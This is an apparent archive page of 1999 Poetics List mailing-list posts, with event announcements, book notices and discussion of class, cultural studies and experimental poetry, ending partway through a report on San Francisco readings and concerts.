5. Kevin Gallagher — (no subject)
6. Robin Tremblay-McGaw — class is
7. Kevin L. Magee — Re: "town crier"/Cauleen Smith in Cleveland
8. Charles Alexander — anthology offer
9. Maria Damon — Re: LYNN KELLY's Q & SUSAN HOWE'S A
10. Maria Damon — Re: The Joy of Poetry
11. kathylou — Re: Class is . . . (fwd)
12. Mairead Byrne — Re: Class is . . .
13. Brian Stefans — Sachler / Sachner is a collector of concrete poetry books
14. Ron Starr — George Oppen's Alpine - Question
15. Taylor Brady — Report from San Francsico (because Kevin and Dodie shouldn't always have to …
16. Burt Kimmelman — Lyn Hejinian
17. Charles Alexander — Re: class

1 APR 1999

18. travis ortiz — Pamela: a novel by Pamela Lu (Atelos Publishing Project)
19. travis ortiz — pamela: a novel--book release party--san francisco
20. travis ortiz — m. mara-ann & jill stengel reading at the attic (s.f.)
21. travmar03 — Fw: a Talk by poet Stephen Rodefer
22. derek beaulieu / house press — Fw: Para>poetics
23. Linda Russo — Re: Barnard Conference...
24. juliana spahr — class
25. Camille Martin — flying burrito series
26. A. Jenn Sondheim — Confessive-Repulsive Disorder (fwd)
27. The William Blake Archive — Blake Archive's April Update
28. Charles Bernstein — April is the cruelest month for poetry ....
29. Poetry Project — next week
30. Kevin L. Magee — Re: SEWN
31. Bobbie West — Re: Class, Working Pages, and the Mothers Conference
32. louis stroffolino — CAT REQUEST!!!!!!!
33. Poetics List Administration — LAGNIAPPE
34. Jessica Pompeii — 3 faces
35. Daniel Kane — Wang Ping plus an O'Hara question
36. Karen McKevitt — Re: class

2 APR 1999

37. David Zauhar — Re: class
38. miekal and — A VERTICAL REDNESS BETWEEN LOVERHUGGED BODIES
39. christopher t funkhouser hss fac/staff — Kamau Brathwaite's _conVERSations with Nathaniel M…
40. Poetics List — Radio B92 closed! / Dubravka
41. Poetics List — Re: 3 faces / list moderation
42. A. Jenn Sondheim — Re: 3 faces / list moderation
43. A. Jenn Sondheim — Anatomy of the Melissa Virus (Disabled) (fwd)
44. Christopher W. Alexander — NYC talks series / Alan Gilbert

45. Jamie Ferguson — The Chrisis of the Poetics List
46. Elizabeth Treadwell — Outlet reviews requested.
47. Jordan Davis — POETRY CITY . GOETZ? LUBASCH?
48. Mairead Byrne — Re: The Joy of Poetry
49. Catherine Daly — class & gender & generation
50. Poetics List — more from Dubravka
51. Kris Dykstra — Translation
52. nuyopoman — Peoples Poetry Gathering Youth Speaks Teen Slamarama
53. Maria Damon — Re: The Joy of Poetry
54. anastasios kozaitis — Re: class and gender
55. derek beaulieu / house press — announcing: "TTbpN2: translating translating bpNichol"
56. Daniel Zimmerman — Re: April is the cruelest month for poetry ....
57. Charles Bernstein — Re: April is the cruelest month for poetry ....

3 APR 1999

58. Loss Pequen~o Glazier — Relation of Web/hypertext ed. to book sales
59. david bromige — added to antin
60. Linda Russo — Re: class
61. Sawako Nakayasu — speaking of joy
62. KENT JOHNSON — Re: 3 faces/ list moderation
63. James Sherry — Cultural Classes and Economic Classes
64. Michael Krebs — class & kosovo
65. KENT JOHNSON — Five Myths of NATO's war
66. Elizabeth Treadwell — Outlet reviews
67. emgarrison — No I
68. Jessica Pompeii — no one liners
69. m a t t... — Re: No I
70. Mark Weiss — Mervyn Taylor
71. Poetics List Administration — email charges / Lowther
72. Poetics List Administration — Poets on the Verge of a Nervous Breakdown / Greenway
73. Poetics List Administration — A Reply to Kent Johnson
74. Mark Weiss — Re: Five Myths of NATO's war

4 APR 1999

75. derek beaulieu / house press — Re: Relation of Web/hypertext ed. to book sales
76. Tom Beckett — The Iron Law of Oligarchy
77. derek beaulieu / house press — filling Station Magazine: "Gas Jockeys Unite!"
78. James Sherry — Hypertextual Versions Relation to Book Sales
79. Douglas Oliver — Re: class
80. A H Bramhall — Poetics In A Gaseous State

5 APR 1999

81. Mark Weiss — Query
82. David Baratier — Re: added to antin
83. David Baratier — reading
84. John Cayley — whatsoever we serve
85. Rachel Levitsky — Minnie Bruce Pratt
86. Pritchett,Patrick — Re: Joan Retallack at DU
87. Poetics List — Re: email charges / Krick
88. Joe Amato/Kass Fleisher — Re: class
89. Rachel Levitsky — Re: wartime activities/class/book party
90. Joe Amato/Kass Fleisher — Re: The Iron Law of Oligarchy
91. Mark Weiss — Query
92. Michael Krebs — Re: Poetics In A Gaseous State

1. WENDY KRAMER
check it out
Tue 30 Mar 1999

The following titles showed up on a recent book order list for the branches of the new york public library. please note that they are not yet in the catalog; however, i'm posting them now because later, i'll forget. look for them in the catalog in a few weeks (i don't know how many weeks):

Matinees by Ange Mlinko

Nicholodeon: a book of lowerglyphs by Darren Wershler-Henry dont forget you can access the new york public library catalogs ("leo" for the branches) at their website: www.nypl.org

p.s. the ray johnson sites are swell! thanks

wendy

p.p.s. the surrealist women anthology i mentioned in former posts is really gripping. but, i agree with listee nancy burr: not enuf pics! mimi parent is a personal fave. there's a lot of collagists in there. the scope is lovely. . . from the 1920s to the present, from all over the world. hmpf! i , ignorantly, had thot that surrealism was a short-lived, mostly french movement. the introductions to individual chapters are really good . the feminism is right on. for me, it's a great introductory textbook to surrealism generally. the point being, of course, that women have always been so much _in_ surrealism "generally."

↑ Index

2. WENDY KRAMER
Re: ray johnson mail art tribute
Tue 30 Mar 1999

in response to pete spence about whether the whitney did indeed exhibit contemporary mail art sent in tribute to ray

yes there was a small glass case with a sampling of stuff on a pedestal as you left the exhibit to go towards the elevators. i had gotten a flyer about it and had expected that portion to be larger. the mail art was sort of all piled up together, as i remember it. i too sent something for ray i made him a corregated love pome 7: correspondance for ray johnson. dunno what happened to it i left it with the receptionist wrapped in bubble wrap in a grocery bag.

wendy

↑ Index

3. travmar03

Fw: a Talk by poet Stephen Rodefer

Wed 31 Mar 1999

-----Original Message-----
From: Writers House <[redacted]>
To: [redacted]
<[redacted]>
Date: Wednesday, March 31, 1999 2:22 PM
Subject: a Talk by poet Stephen Rodefer

> Dear Philadelphia Poets! Join us Saturday for a talk by poet Stephen Rodefer at Writers House, followed by a reading at the Highwire Gallery with Rodefer and Shawn Walker.
>
> _____
>
> saturday
> april 3
> at 5:00 PM
> at the Kelly Writers House, 3805 Locust Walk
> the Transparency Machine series at the Kelly Writers House
> and Highwire Gallery present
>
> + + + + + + + + + + + + + + + +
> S T E P H E N R O D E F E R
> + + + + + + + + + + + + + + + +
> "The Age in its Cage:
> A Social Allegory of Literature and the Deformation of the Canonymous"
>
> Stephen Rodefer is the author of several collections of poetry, including _Left Under a Cloud_ (1999), _Answer to Doctor Agathon_ (1995), _Erasers_ (1994), _Leaving_ (1992), _Emergency Measures_ (1987), and _Four Lectures_ (1977). Rodefer recently returned to the United States following three years teaching in Paris and two at Cambridge. He lives and works in Williamsburg, Brooklyn. He has been associated with the Language School Poets and was a student of Charles Olson. He has also taught at San Francisco State University, University of New Mexico-Albuquerque, and others.
>
> The Transparency Machine Series gives writers the chance to situate their work in the context of wider cultural practices -- reading, writing, the visual arts, theory, politics, and mass media.
>
> Followed by an 8:00 pm reading by Stephen Rodefer and Shawn Walker at the Highwire Gallery, 139 N. 2nd Street, between Race and Arch.
>
> from Rodefer's "Subtraction" in _Passing Duration_:

> The distance is impossible for each to span. We separate ourselves with a manner of rest, gestures, syllables. Rapid hockets return what left us edgy. The aspect speaks marks, gains favor, slams margins, at last is only money. Space is saved. Agreement names the song the sixth intelligence and we pass along. Solid main we fasten, and only green are wise, only grave are mild. The enamel of our lips is highly lit, so luminous we become as seen.
>
> I saw the election with my companions and raised my eyelids higher, sitting in the philosophy of a family. There was a good collection of qualities, but there was not a moral nor geometries, though endless avid rows made the record of their comment. The graveyard lapped the swing where love and work were one. Dido lost her liveliness in the theme that chases this. The word again did fail its argument. The group diminishes to three. And in the other shift the loop that led us there, from pant to hat, from triangle to hair, was cut and reassessed to be a brow beak. Then nothing alone which was not light; nothing does which is not done.
>
> Still they beckon the descent. The diminished human world proposes shortening. But it cannot. The ground survives forewarned.
>
> ---
> The Kelly Writers House [redacted]
> 3805 Locust Walk 215-573-WRIT
> Philadelphia, PA 19104 http://www.english.upenn.edu/~wh

↑ Index

4. Andrew Epstein
Poetry Reading (NYC)
Wed 31 Mar 1999

This is a multi-part message in MIME format.

charset="iso-8859-1"

I announced this reading quite a while ago, but I thought it might be a = good idea to post a reminder.

Hope to see some of you there!

_____

The F. W. Dupee Poetry Reading Series Presents:

GARY LENHART

&

EILEEN MYLES

Introduced by Kenneth Koch

Tuesday, April 6,=20
8 PM

Maison Francaise
Columbia University
(116th & Broadway)

Admission Free

GARY LENHART is the author of several books of poetry, including Father = and Son Night (1999), Light Heart (1991). He is the editor of The = Teachers & Writers Guide to William Carlos Williams (1998). =20

EILEEN MYLES's poetry collections include Not Me (1991), Maxfield = Parrish (1994), and School of Fish (1997), and she is also the author of = several short story collections, including Chelsea Girls (1994). =20

charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"> <HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>I announced this reading quite a while ago, but I = thought it=20
might be a good idea to post a reminder.</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>Hope to see some of you there!</FONT></DIV> <DIV><FONT size=3D2></FONT><FONT color=3D#000000 = size=3D2></FONT> </DIV>
<DIV><FONT color=3D#000000=20
size=3D2>_____</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT> </DIV>
<DIV>The F. W. Dupee Poetry Reading Series Presents:
<DIV> </DIV>
<DIV>GARY LENHART

 &</DIV>
<DIV> </DIV>
<DIV>EILEEN MYLES</DIV>
<DIV> </DIV>
<DIV>Introduced by Kenneth Koch</DIV>

<DIV> </DIV>
<DIV> </DIV>
<DIV>Tuesday, April 6, 8 PM</DIV>
<DIV> </DIV>
<DIV>Maison Francaise
Columbia University
(116th & = Broadway)</DIV>
<DIV> </DIV>
<DIV>Admission Free</DIV>
<DIV>
 </DIV>
<DIV> </DIV>
<DIV>GARY LENHART is the author of several books of poetry, including =
Father and=20
Son Night (1999), Light Heart (1991). He is the editor of The = Teachers=20
& Writers Guide to William Carlos Williams (1998). </DIV>
<DIV> </DIV>
<DIV>EILEEN MYLES's poetry collections include Not Me (1991), Maxfield =
Parrish=20
(1994), and School of Fish (1997), and she is also the author of several = short=20 story collections, including Chelsea Girls (1994). =20
</DIV></DIV></BODY></HTML>

↑ Index

5. Kevin Gallagher
(no subject)
Wed 31 Mar 1999

For those of you in and around Manhattan. I have 7 tickets (4 for Saturday, 3 for Sunday, they were $15/tik) to the Peoples Poetry Festival next weekend. Unfortunately, we won't be coming down for it.

If one or a number of you would like them I'd like to give them away - I'd hate to have them go to waste.

Perhaps interested parties could make a modest donation to compost (if over $8 you'd get you our new issue), but that's not necessarily necessary.

Please email.
****
Kevin Gallagher
compost magazine
po box 226
jamaica plain, ma

02130
[redacted]
****

↑ Index

6. Robin Tremblay-McGaw
class is
Wed 31 Mar 1999

Coming from basically a working class background myself, I found Kathy Lou Schultz's list an accurate and provocative one. I have experienced that state of hyper-awareness of codes and signs that communicate all kinds of information and have the power to exclude if one is on the outside.

Shame is at the intersection of class and gender. Exposing the roots (oops, actually typed "rot") of shame as something to be addressed, redressed in writing. This has to do with exposing what someone earlier referred to as the rougher sides of life and hacking away at the miss manners of polite, stay inside the lines, writing.

An earlier message never made it to the list (re Dodie's reply to my message) which stated, basically, go get 'em Dodie. Keep pushing those boundaries.

Robin

↑ Index

7. Kevin L. Magee
Re: "town crier"/Cauleen Smith in Cleveland
Wed 31 Mar 1999

Gerald Schwartz wrote:
>
> Is there any validity to considering this a question of who sets the agenda? I > poet's "explanation" of a reality may serve as the context in which a reader > considers the meaning of an "event", even if the reader nd the poet have > diametrically opposede renderings of the same occurence.
> By strssing poetry as information, I do not mean to suggest that a poem's > information is the only source. But, given the audience, may be of a limited > power in swaying. Take it further, there are probably poetic productions that > lower their audience's aspirations to advance.
>
> What I mean to suggest is that a poem can impart to occurences their public > persona/character as it transforms a mere happening to a publically > recognizeable event. Along these lines I am thinking of some performances as > the modern replacement of the town crier. Some performances, perhaps more in a > griot tradition, track "fires", reporting on them, while offering help or > initiating criticism as appropriate.

>
> Gerald

Event Note: 23rd Cleveland International Film Fest

Q & A after the 3/26 showing:
"all the post-production
we shot it in the summer of 95 there was always a constant scramble for money to get it done
I basically wrote the part for him most of the other parts were from the Bay Area cast locally in Oakland and San Francisco there are predators there in the dominant culture, people are quite fond of their serial killers how little value the lives of those children had until it became a national scandal moved back up to Oakland to shoot the film it's not every kid with a gun
it's where I started making films
I always forget to name someone--
  John Sayles, Antonioni, Godard
Q: do you have a distribution deal?--No.
grants is always tricky. the lifeblood of a lot of artists
the tendency is to support more older artists
I shot the film on 16 millimeter the first grant that I got it's a huge validation for an artist
I told them I was going to make a short which I didn't clearly a little black film festival in Martha's Vineyard and then it went to San Francisco it was in Berlin. it just played in Paris last week.
it just wasn't ever in my mind a gang film DRYLONGSO--an anthropologist, he went down interviews with working-class blacks they would say, "I'm just DRYLONGSO"

(I'm just ordinary people / same old thing) it has a lot of different meanings next project? I'm working on a script
I AM FURIOUS BLACK / social change

A discursive note: DRYLONGSO operates on several levels among which is a strong social-real picturing, the site West Oakland and story: Pica, a beginning photography student who shoots back in one scene at a lecturer's artspeak about "women and sensuality" etc. etc. with "Bitch, what the fuck are you talking about?" Her challenge gets heard as an attitude, not as an appropriation of street speech to invite the lecturer--a "sister"--to rethink what she not thinking about merely recycling (art school stock-in-trade by now?) Maybe she's looking for an interaction by trying to provke a reaction. Instead she gets a lecture about her absenteeism and lack of a professional camera. Pica takes snapshots of black males with a polaroid, i.e., "don't nobody want negatives of themselves passing around"--why? "If you take their picture you won't use their picture against them." "I'm preserving the evidence . . . some kind of trace of their existence." (Pica in conversation at a bus stop). Maybe Pica's project needs to be thought about re the mass media's using genocide to justify the newest NATO bombings. There have been bodies piling up in the U.S. for a long time now. Economics or ethnic cleansing? Is Smith's Pica saying that the West Oaklands of the U.S. are proto labor/death camps? (Memory of a report in a 1994(?) issue of Mirage on talk by Agamben about concept of the camp). Mumia's death-sentence shouldn't be separated from his paritsan journalism on MOVE and the incineration of 60 homes in a West Philly working-class black neighborhood on Mother's Day (1986?) "Silence is complicity"--Greek Artists Against the War posted Mon, 29 Mar 1999 to B92.

Kevin

↑ Index

8. Charles Alexander anthology offer
Wed 31 Mar 1999

---

dear poetics list:

There is an organization called POG that started in Tucson informally in the winter/spring of 1997 and has proceeded to build a reading series and present, in total, some 47 writers and artists from Feb. of 1997 until now (or actually predicting through June of this year, which will end the current year's series).

To keep this series alive, we have to do a certain amount of fundraising. One way we are doing that right now is that we have created an anthology of writers/artists from the series. We didn't get absolutely everyone who has presented in the series, and we intend to correct that with a second anthology next year.

This book is 60 pages, was produced via quick-print shop and then hand-sewn in three signatures plus front & back covers in the Chax Press studios. It is co-published by POG and Chax Press. It sells for $10. Checks can be made out to POG and sent to POG c/o Chax Press at 101 W. Sixth St., no. 6, Tucson, AZ 85701. Or you can call [redacted] and place an order via credit card. Please add $1 per book for book rate shipping, or add $3.20 for priority mail shipping if within the USA. For non-USA orders, email me and we'll work out shipping costs. If you buy TWO copies or more, shipping costs are waived (for book rate shipping within USA).

Because this is a fundraiser, we can't offer any further discounts or trades at this time. Thank you.

Please send questions via email to [redacted] and not to the poetics list.

Here is the list of contributors:

Tom Mandel
Steve McCaffery
Karen Mac Cormack
David Bromige
Roberto Tejada
Cynthia Miller
Bob Perelman
Leslie Scalapino
Sheila E. Murphy
Mei-mei Berssenbrugge
Charles Alexander
Rae Armantrout
Clayton Eshleman
Alex Garza
Michael Davidson
Lisa Cooper
Kevin Killian
Nancy Solomon
Barbara Penn
Douglas Barbour
Stephen Scobie
Eli Goldblatt
Adelle Foley
Jack Foley
Norman Fischer

Jen Bervin
Peter Ganick
David Shapiro
Dan Featherston
Hung Q. Tu
Maggie Jaffe

---

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

9. Maria Damon

Re: LYNN KELLY's Q & SUSAN HOWE'S A

Wed 31 Mar 1999

---

i agree w/ magee: one of my favorite anecdotes is about Aime Cesaire's being asked about the reception of his work by Martiniquan peasants; aren't they alienated by the erudition of it, he was asked. not in the least, he said; they're the most receptive and enthusiastic audience i've had. i always cite this to students who are afraid that their increasing erudition will alienate them from their "community."

At 8:46 AM -0500 3/30/99, Michael Magee wrote:
>According to Mark Prejsnar:
>>
>> These questions about educational level, etc., are often thrown at >> interesting poetry; and are very instructive for what they suggest about >> the person asking 'em..
>>
>
>Mark's absolutely right here - who brings up these questions in most >cases? - highly educated mainstreamers, no? In places like NYTBR, no? As >evidence to the contrary of this correlation btwn "experimental" and >educated "elite" I'd point to the many poets I know working in various >"poetry in the schools" projects and to one specific example: Susan >Stewart using Harryette Mullen's Muse & Drudge in a literacy program and >then having Harryette flown in to read for those students, to great affect >and much fun, I hear. Elitist? Hardly. In contrast, could anything be >more alienating to, say, an undereducated, working class person than, say, >Richard Wilbur's "Still, Citizen Sparrow"? Now that's a poem which >requires the full regalia of a long and evil "education." -m.

↑ Index

10. Maria Damon

Re: The Joy of Poetry

Wed 31 Mar 1999

At 8:08 AM -0500 3/31/99, Rebecca Wolff wrote:
...
>
...I suppose I've now worked my way around to undermining my first >complaint, about poetry in the classroom, as I guess my tentative answer to >my own question is that critics/students of poetry are not purporting to >engage with the poem as merely writer or reader, but also as worker. Poem >as material with which to make money by writing papers, getting jobs, >getting better jobs? So that the lack of the particular kind of joy I was >referring to would not in the end be such a criminal thing, but an allowed >exigence.

you seem here (implicitly) to be equating "cultural studies" with careerism. to the extent that such an equation holds, it is not inherent to cultural studies but can be a part of university culture.

...

> Sincere questions:
>
> 1) How can the production of increasingly rarified critical papers and books (a production embedded in and directly spurred by a factory-like academic industry) be seen to be an agent for social change?

there is nothing inherently more "rarified" about essays written from a cultural studies perspective than essays written by, say, Allen Tate or Helen Vendler. Why are terms like "dramatic irony" or "persona" not considered jargon, while "binary" or "hegemony" are? As for social change, agency for social change can happen at all levels, though its efficacy can be debated. i don't know any cultural studies scholars who would claim that cultural studies scholarship ALONE can bring about meaningful social change.
>
>2) How is it materially different for a grad student to write a paper on, >say, Emily Dickinson's love affair with her sister-in-law, and trace its >progress through her poems, than for a grad student to write a paper on >lesbian inter-family relationships in the early part of the century, and >trace the progress of Emily Dickinson's love affair with her sister-in-law >as it is visible in her poems? One seems self-contained, and not purporting >to impact social anything, and the other goes outside literary >circumspection for its points of reference. So is the difference then that >one has the potential to effect social change, and the other doesn't? And >if that potential is not fulfilled, does that alter the quotient of actual >difference between them?

how are you measuring "social change?" as an academic i sometimes think that if i have gotten one working class student into a doctoral program, or seen one mind change out of the hundred-odd students i see in a year, i will have "effected social change." ten years ago, everytime i mentioned anything with homoerotic content in the classroom, several folks would get up, walk out, and make a point of slamming the door. that doesn' happen now. why? it's not because of my own efforts, nor because ofthe public visibility of ACT UP, but because Clinton's botched gays-in-the-military forced a mainstream, public debate about these matters took the taboo sting out of the topic. this may make clinton and jesse helms more effecitve agents of social change than i, but i do not believe it wise for me to give up what i love doing to become a baby-kissing politician in order to effect social change.
>
>3) OK, so this one's not a question: in response to the relaying of Susan >Howe's interview responses to questions of anti-intellectualism and whether >a given poem needs to be applicable to everyone or just to a few: However >anachronistically, I do continuue to believe that poems, once shot out, are >beyond the control of the poet, and so the kinds of responses to them that >are had by readers are also out of the poet's control. So if I choose to >read Susan Howe without the benefit of knowing, again, what her husband's >job was, or even knowing how she would LIKE me to read the poems, then >that's mah perogative. And if that makes me not her chosen reader than >that's really OK; I can continue to read her. And if that makes me un- or >anti- intellectual then those are my own unfortunate limitations and I >suppose I am to be pitied rather than despised.
>
>I would also like to suggest that Ms. Howe's response is to be reviewed: I >thought I detected a certain archness which did not in fact indicate >"enragement" over the idea that some readers would not be >qualified/equipped to read her work as she wanted it read, but instead >bemusement that the question should be thrown upon her. True, I have a >tendency to read archness in often where it is not, but again I suppose >this is harmless, and makes reading--and writing--a whole lot more fun for >me than it otherwise might be.

well, this doesn't directly bear on the issue of poetry and cultural studies, which is my passion, so i have no response.

↑ Index

11. kathylou

Re: Class is . . . (fwd)

Wed 31 Mar 1999

I'm not so easily silenced. If it weren't for transgressive writing practices that dare to speak the unspeakable, much of contemporary literature wouldn't be worth reading. See, for example, Dodie Bellamy's _The Letters of Mina Harker_. Thank goodness she didn't shut up. And class for god's sake is one of the unspeakable, unnameable issues in American culture.
Kathy Lou Schultz
> Dear Kathy Lou Schultz:
>
> You quickly learn to keep such knwledges secret unless you're looking > for a fight. See Melville's _White Jacket_.
>
> Best,
> Mike
>
> > Mairead,
> > I don't care if you think it's obnoxious. Survival is > > survival. One does what one needs to do in order to > > survive. For poor and working class folks survival is > > often the name of the game--not "offense." In any case, > > you're just trying to turn what I said on its head without > > responding to the crux of my point, which I find > > obnoxious. Backchannel further, please.
> > Thank you.
> > Kathy Lou Schultz
> > >
> > >

↑ Index

12. Mairead Byrne
Re: Class is . . .
Wed 31 Mar 1999

Well, I accept that, Mark. I associate sniffing with the ferreting out of undesirables. Your association sounds friendlier: a little like the agreement on boundaries, achieved as a result of an impressive dispersal of urine, between a man and a wolf in a recent movie I saw.

I would be a hopeless stoop-sitter: So you're the man and you're the wolf .... or is the other way round ... you're a bit of a wolf and a bit of a man ... well you both piss don't you .... I'm sorry, I get confused ... now you're the man, no the wolf, I have it, I swear I have you pegged, you're a were-wolf, isn't that right ... now which of you writes the poetry, is it yourself Mr. Wolf ...?

Oh well.

Mairead

On Tue, 30 Mar 1999, Mark Weiss wrote:

> Mairead: In any multi-ethnic, multi-class environment everyone does this kind of sniffing. When I moved into a largely Irish and Italian neighborhood in Brooklyn the stoop-sitters very quickly quizzed me and pronounced me Jewish. There was no malice in it, ever, and I lived there for close to a decade. What they learned was what category of their experience I fit into, and my behavior was measured against that norm (and served to moderate it to some extent) rather than against what would be expected of an Irishman. It wasn't "What else can you expect from a Jew" but "He's Jewish, which means that x behavior probably indicates..."
> The ability to maintain and apply disparate approximate models of behavior is a necessary survival skill in cosmopolitan environments. Ethnicity and class are among other things behavioral languages that often need to be translated.
> My ex-wife, who came from a part of North Carolina where, as she expressed it, there were three classes: Southern, Mountain, and Black, was always amazed at my ability (perfectly average for a New Yorker) to arrive at quick and usually accurate hypotheses about class and origin--her environment, with its fewer and starker distinctions, hadn't trained her to do likewise.

↑ Index

13. Brian Stefans
Sachler / Sachner is a collector of concrete poetry books
Wed 31 Mar 1999

--0__=zfSthR4xr2tD2eSo5ujow5ZTunknd1fc6CXDCMKtaP3KA1ILv1AbWLDd

...and is probably worth knowing, though I guess by the tone of your post he's not the most charismatic guy. I don't know what's happening in Miami these days, and it's great to hear about caravans of poets crossing timelines in the South -- sounds very interesting and fresh -- so if any of you do get around to visiting this archive I'd love to hear about it. Here's the URL for their website:

http://www.rediscov.com/sackner.htm

And here's the first paragraph on the site:

Ruth and Marvin Sackner founded the Archive in Miami Beach, Florida in 1979. Its initial mission was to establish a collection of books, critical texts, periodicals, ephemera, prints, drawings, collages, paintings, sculptures, objects, manuscripts, and correspondence dealing with precursory and contemporary, internationally produced, concrete and visual poetry. The precursory material had at its starting point, Stephane Mallarme
--0__=zfSthR4xr2tD2eSo5ujow5ZTunknd1fc6CXDCMKtaP3KA1ILv1AbWLDd

’s poem, "Un Coup de Des" (Cosmopolis, 1897). The historic antecedents included works with concrete/visual poetic sensibilities from such twentieth century art movements as Italian Futurism, Russian and Eastern European Avant Garde, Dada, Surrealism, Bauhaus, De Stijl, Ultra, Tabu-Dada, Lettrisme, and Ultra-Lettrisme.

PS Does anyone have Augusto de Campos's mailing address (or e-mail address). I owe him some books -- he generously sent me a few of his, which are expensive and multicolored, so I wanted to bung a few his way but discarded the envelope. Thanks...

--0__=zfSthR4xr2tD2eSo5ujow5ZTunknd1fc6CXDCMKtaP3KA1ILv1AbWLDd--

↑ Index

14. Ron Starr

George Oppen's Alpine - Question

Wed 31 Mar 1999

Were the poems in Oppen's _Alpine: Poems_ (Mount Horeb, WI: Perishable Press, 1969) incorporated in the 1975 Collect Poems?

Does anyone know the contents of _Alpine_ (regardless of their incorporation)?

I'm hoping that someone out there knows in order to spare me the time of an interlibrary loan (really I'm hoping that they're in the _Collected_ by I suspect they aren't....).

Thank you in advance for any help.

- Ron Starr

↑ Index

15. Taylor Brady

Report from San Francsico (because Kevin and Dodie shouldn't always have to do it)

Wed 31 Mar 1999

It was a great weekend for poetry and related events in San Francisco - and now, it being already Wednesday and I being disinclined to do more JOB - I thought I might pass along a few impressions, for whatever they might be worth...

Friday night witnessed San Franciscan Renee Gladman and New Yorker Eleni Sikelianos reading to a full house in the Small Press Traffic series at New College. Renee read first, a single, long-ish and more-or-less narrative piece whose title I can't quite remember (I have to hear titles - as well as people's names - at least three times before I remember them. My apologies to Renee). At the risk of being hyperbolic, let me say that this was some of the most exciting work I've heard from a writer of my approximate "generation" this year. The story - which, with qualification, is what Renee almost called it - seemed to work as both embodiment and critique of story-telling as an ethnographic or anthropological enterprise. Creating a fictional people, a "culture," Gladman interrogates what there is to be told of such by posing her narrator at its edge or limit (which of course, is also _within_ in a particularly unstable way). Folklore, archive and memory where they stage their mutual acts of departure from and into one another.... The culture to be "told" as an aggregate of departure (don't know why Deleuze occurred to me just then, but so it is).... And some marvelously memorable landscapes of mountains, caves, and one particularly vexed and vexing tree....

In tone and overall construction it was utterly specific to its own imperatives, but strangely reminiscent as well of certain strains within feminist fantasy and science fiction. Echoes of Joanna Russ in its allegorical imagining _otherwise_ of culture, but far more plural and difficult in those allegorical dimensions and in its imagination of the relation between culture and the specific acts of the writer or teller. (Come to think of it, this text might be read productively as one [fictive] way to open up some of the questions in the recent thread spinning off from the "poetics-and/as-cultural-studies" nexus). Echoes also of Octavia Butler in its specifically (I thought) feminist interest in speculating on endings, cultural and historical - though, unlike Butler, not given to a weirdly romantic "overtelling" of apocalyptic violence (thinking here of _Parable of the Sower_ or _Clay's Ark_, for instance). All this with a consummate poet's ear for the pacing and unfolding of sound, and this comes out in her reading (see below). Who else? Borges, Laura Riding's more fabular prose work, Marcel Griault, Hurston's folklore as if told by Clarice Lispector as a character in one of Tarkovsky's SF films.... Ok, enough - and not to pose these as "influences," but as handles for the description of a piece of writing I'm finding pleasantly quite difficult to describe.

I'm told that the story is part of a manuscript to appear from Kelsey St. Press this winter, so you can look for yourself. I recommend it highly. I also recommend a hearing if she's in your area, as she's a great reader - measured and calm without being leaden or pseudo-"profound." Just slow enough. Anyone who remembers early musical training will know what I mean here: beginners always speed up over the course of a performance, while those stalled out one step above beginning overdo each ponderous articulation in an attempt to _make_ meaning. Renee's at least two steps beyond that - and that's a long way...

During the intermission the tenacious intestinal flu I'd been fighting came back to pick up the records it had conveniently "left behind" after our unfortunate assignation earlier in the week. So by the time the evening's second reader, Eleni Sikelianos, took the lectern, I was doubled over with cramps, trying not to fling a used burrito into the sweatshirt hood of the person in front of me. Lest anyone think this is some version of the poetry world's perennial snide snub, let me be clear that I'm serious - I was in a lot of pain and didn't really hear much of what was going on. My apologies to Eleni - I hope someone else has impressions of her reading they'd like to share.

Saturday and Sunday, in brief, were music nights for me and others. Saturday was the final night of San Francisco's Other Minds festival, which found Jen Hofer, Tanya Hollis and myself in attendance. First on the bill was the U.S. concert premiere of French concrete (sorry, can't do acute accents) composer Luc Ferrari's fourth installment in his _Presque Rien_ series, subtitled _La remontee au village_ (sorry, can't remember French genders just now). Lovely piece - if the various ambient musics are, in Terre Thaemlitz's words "a tactical reversal of figure-ground relationships," then I might describe Ferrari's tape piece as perhaps a further refinement, in which those relationships are not so much reversed as multiplied. The sounds of Ferrari and his wife climbing to an Alpine Italian village figure as a sort of ground bass (I think that's from the program notes) over which variously electronically manipulated sounds - some obviously so, some quite subtly different from "reality" -- from the same walk are superimposed in a more overtly musical structure. The pluralization of this opposition occurs as one begins to hear, in the "unaltered background," the "sources" of sounds one had taken previously as occupying the "altered foreground." The overall effect is not one of simple reversal, since over the sixteen-minute course of the piece what happens is a cumulative potentiating of forward movement in the background and backward movement in the foreground, until it's only in a very local (second-by-second) sense that one can tell which is which. (Sorry to spend so much time on this, but it occurs to me that music specifically for recorded media, especially music with a "documentary" component as strong as Ferrari's, really is a kind of writing, and might be of interest to people whose interests otherwise run in a more literary direction).

Second up was toy piano virtuoso Margaret Leng Tan, who played works for that instrument by John Cage, Antonio Pinho Vargas, Guy Klucevsek and Toby Twining. The Pinho Vargas piece was my favorite, as it seemed to take the instrument seriously for what it was - scored for two toy pianos, it took advantage of the "bad," tinny timbral qualities of the instruments in a restrained, unflashy piece that gave a lot of space for those dissonant outer partials to ring against each other. The evening's final performance was by the ensemble CRASH, doing choreographed percussion pieces by Mary Ellen Childs. Not my favorite of the night - technically very accomplished, but not (to my jazz and Varese-inhabited ears) very rhythmically interesting, and the choreography, while again a marvel of coordination, started to feel manipulative and gimmicky about halfway into the second of the four or five compositions.

